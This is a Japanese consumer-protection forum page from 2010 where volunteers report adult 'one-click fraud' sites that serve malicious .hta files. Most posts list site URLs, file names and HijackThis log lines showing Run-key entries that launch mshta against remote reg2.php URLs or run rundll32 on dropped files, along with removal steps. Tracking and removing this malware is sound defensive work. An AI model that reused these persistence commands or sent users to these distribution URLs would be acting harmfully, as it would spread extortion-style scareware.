ワンクリ詐欺掲示板
[ホームに戻る] [留意事項] [ワード検索] [過去ログ] [RSS1.0] [管理用]

クリック募金 クリックで救える命がある。

同じ「ワンクリック」でも社会に貢献出来る「ワンクリック」もあります。
ワンクリ詐汲ﾉリンクしません！WEBRING参加サイト一覧
ワンクリ詐泣Tイト一覧・対策
アダルトサイト探していますはワンクリ詐泣Tイト一覧・対策を運営しています

注意事項！

質問をする前に必ずワンクリ詐欺サイト一覧・対策をお読みください。

投稿済みの記事に対する追加・返信は
投稿記事の[返信]ボタンを押してから書き込んでください。

お名前
タイトル
メッセージ　書き込み前に注意事項は読みましたか？
暗証キー （英数字で8文字以内　投稿の修正・削除に必要）
投稿キー （投稿時 投稿キー を入力してください）
文字色■ ■ ■ ■ ■ ■ ■ ■

動画倉庫 投稿者：DOKMAI 投稿日：2010/09/11(Sat) 17:45 No.21528   

株式会社ドメインサービス　　サイト名　動画倉庫

nu-de.ero-paradiso.com
www.dougasoko.com

警告： 　このURLにアクセスし、動画ファイルと見せ掛けたhtaワンクリウェアをダウンロードし実行をすると・・・
ワンクリウェア（ malicious software ）すなわち悪意あるソフトウェアに感染するおそれがあります。

ダウンロードファイル『sexga(10桁英数字).hta』

\Windows\system32\mshta.exe
HKLM\..\Run: [websexga] rundll32.exe "C:\Documents and Settings\All Users\Application Data\sexga\readme.txt",_goMES@16 C:\Documents and Settings\All Users\Application Data\sexga\3Y1684A2.hta

感染実験検証完了。

神ツール有効です。

浦野さんへ

YAN氏記載のwww.dougasoko.comですが、

動画倉庫で見つかりませんでした。

なので再度記載させていただきました。

nu-de.ero-paradiso.comに関しては、(ここの部分なんでも繋がる)ero-paradiso.com　所謂ワイルドカード扱いで構わないと思います。

先に対策をしてしまった方が良いと思われます。

以上、よろしくおねがいします。

EEROBB 投稿者：いぬ 投稿日：2010/09/09(Thu) 21:42 No.21521   

ワンクリウェア入り
http://www.movie.eerobb.com/

ダウンロードファイル名「playmovie.hta」

C:\Windows\System32\mshta.exe
O4 - HKCU\..\Run: [system_boot_61c52464e6ef8c30505fcfaa1e7c84c2] C:\Windows\system32\mshta http://www.movie.eerobb.com/reg2.php?cid=61c52464e6ef8c30505fcfaa1e7c84c2

タスク スケジューラにも書き込みするかも知れません。

SM保管庫 - いぬ 2010/09/10(Fri) 20:39 No.21523
URL追加

ワンクリウェア入り

http://6flp.fellatiomovefilehost.net/

ダウンロードファイル名「movie.hta」

C:\Windows\system32\mshta.exe
O4 - HKCU\..\Run: [system_boot_969148342359fe09734652f79ab93109] C:\Windows\system32\mshta http://6flp.fellatiomovefilehost.net/reg2.php?cid=969148342359fe09734652f79ab93109


追加
http://5p0h.fellatiomovefilehost.net/
フェチの集い - いぬ 2010/09/11(Sat) 09:44 No.21526
URL追加

ワンクリウェア入り

http://aokan.analadultmovegal.com/

ダウンロードファイル名「super_hentai_movie_（10桁の数字）.hta」

C:\Windows\system32\mshta.exe
O4 - HKCU\..\Run: [windows_system_97beee09033b516a5c0dbbe8cde602ad32a29cad_45] C:\Windows\system32\mshta http://aokan.analadultmovegal.com/pc/page/player_view.php?af_num=&cuid=97beee09033b516a5c0dbbe8cde602ad32a29cad
エッチな動画達 - いぬ 2010/09/11(Sat) 17:10 No.21527

無題 投稿者：nanasi 投稿日：2010/09/11(Sat) 01:41 No.21524   

http://www.iqrtjhsttnhlqkui.com/



PEACH　PAIPON
20歳ですか？　はい
利用規約は読みましたか？　はい

実行後

右下に「ご入会が完了しました」
という画面が出て消えなくなります。。
こういう場合はどうすればいいのでしょうか
Re: 無題 - DOKMAI 2010/09/11(Sat) 03:02 No.21525
質問をする前に必ずワンクリ詐欺サイト一覧・対策をお読みください。

http://www.ken-hokuto.com/oneclick/

全部読む。

ワンクリウェアの対処方法やツールを公開しているサイト

ワンクリウェア駆除ツール(test版)

リンクをクリック。

サイトを移動。

書いてあることを良く読む。

神ツールをダウンロードして実行する。

解決する。

以上。

プログラム名[webaking] 投稿者：YAN 投稿日：2010/09/09(Thu) 22:30 No.21522   

の新しいワンクリウェアサイトで〜す♪

合同会社　フリーテック　大西　美保　03-5856-6844
CENTER (Adult Center)
h　ttp://www.ad-center.net/
Logfile of HijackThis
O4 - HKLM\..\Run: [webaking] rundll32.exe "C:\Documents and Settings\All Users\Application Data\aking\message.dll",_goMES@16 C:\Documents and Settings\All Users\Application Data\aking\********.hta
→rundll32.exe "C:\Documents
→C:\Documents and Settings\All Users\Application Data

ワンクリウェア駆除ツール(test版)更新停止中　最終更新日 2010/09/09 02:16
http://sasi40dx.cs.land.to/　を使用してみました♪♪♪
削除されちゃったホルダ→\aking\********　bg　message.dll　second
削除されちゃったレジストリスタートアップ→webaking

それまで表示されてた画像で〜す♪
C:\Documents and Settings\All Users\Application Data\aking\bg←
-----------------------------------------------------------
プログラム名 [webababe]　投稿者：YAN 投稿日：2010/09/10

FINE (Adult Fine)
h　ttp://www.fine-mov.com/
Logfile of HijackThis
O4 - HKLM\..\Run: [webababe] rundll32.exe "C:\Documents and Settings\All Users\Application Data\ababe\message.txt",_goMES@16 C:\Documents and Settings\All Users\Application Data\ababe\********.hta
→rundll32.exe "C:\Documents
→C:\Documents and Settings\All Users\Application Data

新しいプログラム名 [shpa] 投稿者：YAN 投稿日：2010/09/08(Wed) 00:00 No.21515   

のワンクリウェアサイトで〜す♪

合同会社 S-PLAN　佐藤　090-2964-4599
PINK-ALUBUM
h　ttp://pink-alubum.com/regist_step1.php
Logfile of HijackThis
O4 - HKCU\..\Run: [shpa] C:\WINDOWS\system32\mshta.exe "C:\Documents and Settings\【USER】\Application Data\shpa\movie.hta"
→mshta.exe "C:\Documents
C:\Documents and Settings\【USER】\Application Data
→\shpa\bg　movie

表示される画像で〜す♪
C:\Documents and Settings\【USER】\Application Data\shpa\bg

1.準備：タスクマネージャを開き [mshta.exe] を停止

ファイル名を指定して実行に「　msinfo32　」で　システム情報
検索文字列に「 mshta　」と入力　＞検索
開いたスタートアッププログラムから「shpa」を選択　
編集　＞コピ−　↓メモ帖に保存
shpa c:\windows\system32\mshta.exe "c:\documents and settings\【user】\application data\shpa\movie.hta"

2.適当なホルダを開き　アドレス欄に
「　 C:\Documents and Settings\【USER】\Application Data　 」を貼り付け→移動
ホルダ「shpa」内に「bg」と「movie」が在るのを確認して　ホルダ「shpa」を削除

3.スタートアップの削除　CCleaner
http://www.forest.impress.co.jp/article/2006/07/31/ccleaner.html
ツール　＞スタートアップ　
キー→HKCU：Run　プログラム→　shpa を選択 >無効をクリック
（間違い防止のため無効推奨で〜す♪）

と　アイデアを書いてみましたが？間違いないかどうかは、
あなたの友人のパソコンに詳しい人に聞いてみてくださ〜い♪♪♪

備考：windows7
C:\Users\【USER】\AppData\Roaming\shpa

一部修正しました・・
-----------------------------------------------------------
プログラム名[start_****-]

株式会社エムケー 運営責任者　ナカノ
エッチな動画達
h　ttp://gal.eroettisexadult.com/pc/page/first_conf.php
Logfile of HijackThis
O4 - HKCU\..\Run: [start_****-] C:\WINDOWS\system32\mshta h　ttp://gal.eroettisexadult.com/pc/page/player_view.php?code=&cuid=****-
→mshta http

「有料アダルトサイトへのご登録ありがとうございます。」などの画像で〜す♪
h　ttp://gal.eroettisexadult.com/img/window_1_1/tt02.gif
h　ttp://gal.eroettisexadult.com/img/win_sub/23.gif

XPで・・「gal.eroettisexadult.com」は、↓↓↓ツールが、有効であることを確認しました♪♪♪
ワンクリウェア駆除ツール(test版)更新停止中 最終更新日 2010/09/05 00:39
http://sasi40dx.cs.land.to/
>使用方法
>保存したファイルをダブルクリックで解凍(展開)後、「del_1cw」フォルダ内の「del_1cw.bat」を実行してください。
>Vista,7の方は、「vista1.bat」,「vista2.reg」の順に完了後ダブルクリックをして下さい。「del_1cw.bat」は実行しないで下さい。
SM保管庫 - いぬ 2010/09/08(Wed) 21:32 No.21516
ぶら下がり失礼致します。
ワンクリウェア入り
http://2p8s.fellatiomovefilehost.net/

ダウンロードファイル名「movie.hta」

C:\Windows\system32\mshta.exe
O4 - HKCU\..\Run: [system_boot_4c7dca5c7399e0e14b7f0566583b754f] C:\Windows\system32\mshta http://2p8s.fellatiomovefilehost.net/reg2.php?cid=4c7dca5c7399e0e14b7f0566583b754f

Re: 新しいプログラム名 [shpa] - はな 2010/09/08(Wed) 23:41 No.21517
windows7を利用しているのですが
C:\Documents and Settings\【USER】\Application Data
へ移動できません。
どうすればいいでしょうか？
はなさんへ - DOKMAI 2010/09/09(Thu) 07:29 No.21518
はなさんへ

新規投稿で相談してください。

このスレはhtaワンクリサイトを報告するためにYANさんが作成されたスレッドです。

横入りだと混乱します。
Re: 新しいプログラム名 [shpa] - 浦野 秀雄 2010/09/09(Thu) 21:22 No.21520
それぞれ登録追加しました。

はなさんへ
XPの　C:\Documents and Settings\【USER】\Application Data　は、
7では　C:\Users\【USER】\AppData\Roaming　になります。

[za]タイプ　D*******.hta 投稿者：YAN 投稿日：2010/09/07(Tue) 22:21 No.21514   

のワンクリウェアサイトで〜す♪

株式会社　ケーエスカンパニー　遠藤　光幸
動画BOOKMARK（動画ブックマーク）
h　ttp://douga-bookmark.net/ctrl.php?c=check
Logfile of HijackThis
O4 - HKCU\..\Run: [za] mshta "C:\Documents and Settings\【USER】\Application Data\D*******.hta"
→mshta "C:\Documents
C:\Documents and Settings\【USER】\Application Data
\D******* D*******

表示される画像で〜す♪
C:\Documents and Settings\【USER】\Application Data\D*******(B64ファイル)
-----------------------------------------------------------
プログラム名[websexga]

株式会社ドメインサービス　稲村　正顕　03-6912-5037
動画倉庫
h　ttp://www.dougasoko.com/confirm.php
Logfile of HijackThis
O4 - HKLM\..\Run: [websexga] rundll32.exe "C:\Documents and Settings\All Users\Application Data\sexga\readme.txt",_goMES@16 C:\Documents and Settings\All Users\Application Data\sexga\********.hta
→rundll32.exe "C:\Documents
C:\Documents and Settings\All Users\Application Data
\sexga\********　bg　readme　second

表示される画像で〜す♪
C:\Documents and Settings\All Users\Application Data\sexga\bg
-----------------------------------------------------------
プログラム名[webababe]

合同会社　フリーテック　大西　美保　03-5856-6844
金瓶梅
h　ttp://www.adult-kinpei.com/
Logfile of HijackThis
O4 - HKLM\..\Run: [webababe] rundll32.exe "C:\Documents and Settings\All Users\Application Data\ababe\message.txt",_goMES@16 C:\Documents and Settings\All Users\Application Data\ababe\********.hta
→rundll32.exe "C:\Documents
C:\Documents and Settings\All Users\Application Data\ababe
\　bg　message　second　********

表示される画像で〜す♪
C:\Documents and Settings\All Users\Application Data\ababe\bg
-----------------------------------------------------------
プログラム名[system_boot_***-**]

株式会社オーシャンズ　中村嵩幸　0120-545-669
PEACH PAIPON
h　ttp://jrhkujzssfyrdrj.com/kaku.php
Logfile of HijackThis
O4 - HKCU\..\Run: C:\WINDOWS\system32\mshta h　ttp://jrhkujzssfyrdrj.com/reg2.php?cid=***-**
→mshta http

「ご入会が完了しました」画像で〜す♪
h　ttp://jrhkujzssfyrdrj.com/img/ero55a.jpg
Re - 浦野 秀雄 2010/09/09(Thu) 21:16 No.21519
それぞれ追加＆登録しました。

SM地下室 投稿者：いぬ 投稿日：2010/09/07(Tue) 19:28 No.21511   

ワンクリウェア入り

http://anarushitakute-tamaranai.net/

ダウンロードファイル名「movie.hta」

C:\Windows\system32\mshta.exe
O4 - HKCU\..\Run: [system_boot_1ccaadaaef3dce765e9327c058e283de] C:\Windows\system32\mshta http://anarushitakute-tamaranai.net/reg2.php?cid=1ccaadaaef3dce765e9327c058e283de

Re: SM地下室 - 浦野 秀雄 2010/09/07(Tue) 20:27 No.21512
「SM地下室」リストに入れました。

プログラム名[system_boot_***-**] 投稿者：YAN 投稿日：2010/09/06(Mon) 20:56 No.21508   

の新しいURLで〜す♪

株式会社アクト　野村和一郎　0120-428-777
HFULL CROWNS
h　ttp://www.zfretujojjllilsez.com/con1.php
Logfile of HijackThis
O4 - HKCU\..\Run: [system_boot_***-**] C:\WINDOWS\system32\mshta h　ttp://www.zfretujojjllilsez.com/reg2.php?cid=***-**
→mshta http

「ご入会が完了しました」の画像
h　ttp://www.zfretujojjllilsez.com/img/hari5_a.jpg
-----------------------------------------------------------
プログラム名[webaking]

合同会社　フリーテック　大西　美保　03-5856-6844
ＰＡＰＥＲ　（Adult Paper）
h　ttp://www.ad-paper.net/
Logfile of HijackThis
O4 - HKLM\..\Run: [webaking] rundll32.exe "C:\Documents and Settings\All Users\Application Data\aking\message.dll",_goMES@16 C:\Documents and Settings\All Users\Application Data\aking\********.hta
→rundll32.exe "C:\Documents
C:\Documents and Settings\All Users\Application Data
\aking\********　bg　message.dll　second

表示される画像で〜す♪
C:\Documents and Settings\All Users\Application Data\aking\bg
Re: プログラム名[system_boot_***-**] - 浦野 秀雄 2010/09/07(Tue) 19:28 No.21510
「HFULL CROWNS」URL追加しました。
「ADULT PAPER」リストに入れました。

[webarush] 投稿者：YAN 投稿日：2010/09/05(Sun) 20:26 No.21505   

の新しいURLで〜す♪

株式会社ドメインサービス　稲村正顕　03-6912-5038
アダルトイズム　エロ劇場
h　ttp://www.ero-theater.com/confirm.php
Logfile of HijackThis
O4 - HKLM\..\Run: [webarush] rundll32.exe "C:\Documents and Settings\All Users\Application Data\arush\message.dll",_goMES@16 C:\Documents and Settings\All Users\Application Data\arush\********.hta
→rundll32.exe "C:\Documents

C:\Documents and Settings\All Users\Application Data
\arush\　********　bg　message.dll　second

プログラム名が、[webarush]という事は・・？
ワンクリウェア駆除ツール(test版)更新停止中　最終更新日 2010/09/05 00:39
http://sasi40dx.cs.land.to/　で有効かもしれないですね♪♪♪
-----------------------------------------------------------
プログラム名 [start_****-]

株式会社エムケー　運営責任者ナカノ　
エッチな動画達
h　ttp://adult.eroettisexadult.com/pc/page/first_conf.php
Logfile of HijackThis
O4 - HKCU\..\Run: [start_****-] C:\WINDOWS\system32\mshta h　ttp://adult.eroettisexadult.com/pc/page/player_view.php?code=&cuid=****-
→mshta http
SM武道館 - いぬ 2010/09/06(Mon) 18:17 No.21507
ぶら下がり失礼致します。

ワンクリウェア入り

http://smmovelovegal.net/

ダウンロードファイル名「movie.hta」

C:\Windows\system32\mshta.exe
O4 - HKCU\..\Run: [system_boot_f48de8ca66567eee37e17e136ca5757b] C:\Windows\system32\mshta http://smmovelovegal.net/reg2.php?cid=f48de8ca66567eee37e17e136ca5757b
Re: [webarush] - 浦野 秀雄 2010/09/07(Tue) 19:24 No.21509
「エロ劇場」URL変更しました。
「エッチな動画達」「SM武道館」リストに入れました。

アダルトシーク 投稿者：いぬ 投稿日：2010/09/04(Sat) 17:39 No.21495   

ワンクリウェア入り

http://adult-seek.info/

ダウンロードファイル名「as.exe」

C:\Users\*****\Downloads\as.exe

O4 - HKCU\..\Run: [ムービーDAS004] C:\Users\*****\Downloads\as.exe
O4 - HKCU\..\Run: [DAS004] C:\Users\*****\AppData\Local\Temp\DAS004.exe
O4 - Startup: DAS004.LNK = C:\Users\*****\AppData\Local\Temp\DAS004.exe
O4 - Startup: ムービーDAS004.LNK = C:\Users\*****\Downloads\as.exe

激エロ動画サイト - いぬ 2010/09/04(Sat) 17:51 No.21496
ワンクリウェア入り

http://adult-erosexadult.com/

ダウンロードファイル名「movies_adult.hta」

C:\Windows\system32\mshta.exe
O4 - HKCU\..\Run: [start_7c0d81eca13ffbe7b6b327f2bd43df230185225c] C:\Windows\system32\mshta http://adult-erosexadult.com/pc/page/player_view.php?code=&cuid=7c0d81eca13ffbe7b6b327f2bd43df230185225c

フェチの集い - いぬ 2010/09/05(Sun) 08:19 No.21499
ワンクリウェア入り

http://ero.analadultmovegal.com/

ダウンロードファイル名「super_hentai_movie.hta」

C:\Windows\system32\mshta.exe
O4 - HKCU\..\Run: [windows_system_620a2b1de1ba051adccd4215a8beaa3c3eb4a62d] C:\Windows\system32\mshta http://ero.analadultmovegal.com/pc/page/player_view.php?af_num=&cuid=620a2b1de1ba051adccd4215a8beaa3c3eb4a62d

Re: アダルトシーク - 浦野 秀雄 2010/09/05(Sun) 16:09 No.21504
「アダルトシーク」「激エロ動画サイト」「フェチの集い」リストに入れました。

Page: | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | → |
No. 暗証キー

- YY-BOARD -

Copyright(C) 2004-2008 ワンクリ詐欺一覧・対策 All rights reserved.